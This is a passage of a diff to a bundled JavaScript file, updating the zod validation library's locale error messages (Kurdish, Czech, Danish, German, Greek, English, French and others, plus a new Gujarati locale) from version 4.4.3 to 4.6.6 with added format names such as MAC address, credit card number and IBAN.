"\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93869,12 +95120,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -93945,17 +95200,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -93979,14 +95235,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -94061,17 +95321,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -94097,12 +95358,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -94170,12 +95435,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -94214,6 +95479,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -94280,12 +95548,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -94324,6 +95592,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -94332,12 +95603,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -94345,14 +95622,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -94383,6 +95660,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -94393,17 +95673,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -94429,12 +95710,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -94503,12 +95788,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -94539,12 +95824,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -94636,17 +95925,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -94672,12 +95962,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -94751,17 +96045,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -94791,12 +96086,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -94864,12 +96163,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -94880,7 +96179,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -94900,17 +96199,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -94924,11 +96227,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -94939,7 +96242,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -94964,13 +96267,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -94990,17 +96293,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -95026,12 +96330,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -95098,12 +96406,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? 